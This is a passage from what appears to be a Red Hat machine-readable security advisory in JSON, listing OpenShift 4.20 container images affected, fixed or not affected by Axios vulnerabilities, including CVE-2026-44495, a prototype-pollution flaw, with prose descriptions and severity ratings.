"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Proxy bypass via IPv4-mapped IPv6 address non-normalization"
},
{
"cve": "CVE-2026-44495",
"cwe": {
"id": "CWE-915",
"name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"
},
"discovery_date": "2026-06-11T17:00:53.999811+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2487937"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, a promise-based HTTP client. This vulnerability involves prototype pollution gadgets in the request configuration processing. If another vulnerability has already polluted the Object.prototype.transformResponse, affected Axios versions may incorrectly interpret this inherited value as part of the request configuration or as an option validator. Axios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over Object.prototype before Axios creates a request.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Information disclosure due to prototype pollution vulnerability",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This Important vulnerability in Axios, a promise-based HTTP client, can lead to information disclosure, including credential theft and response hijacking, or denial of service. Exploitation requires a separate prototype pollution vulnerability in the same JavaScript process, allowing an attacker to control `Object.prototype.transformResponse`. Red Hat products using affected Axios versions are at risk if another component introduces such pollution.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le"
],
"known_not_affected": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
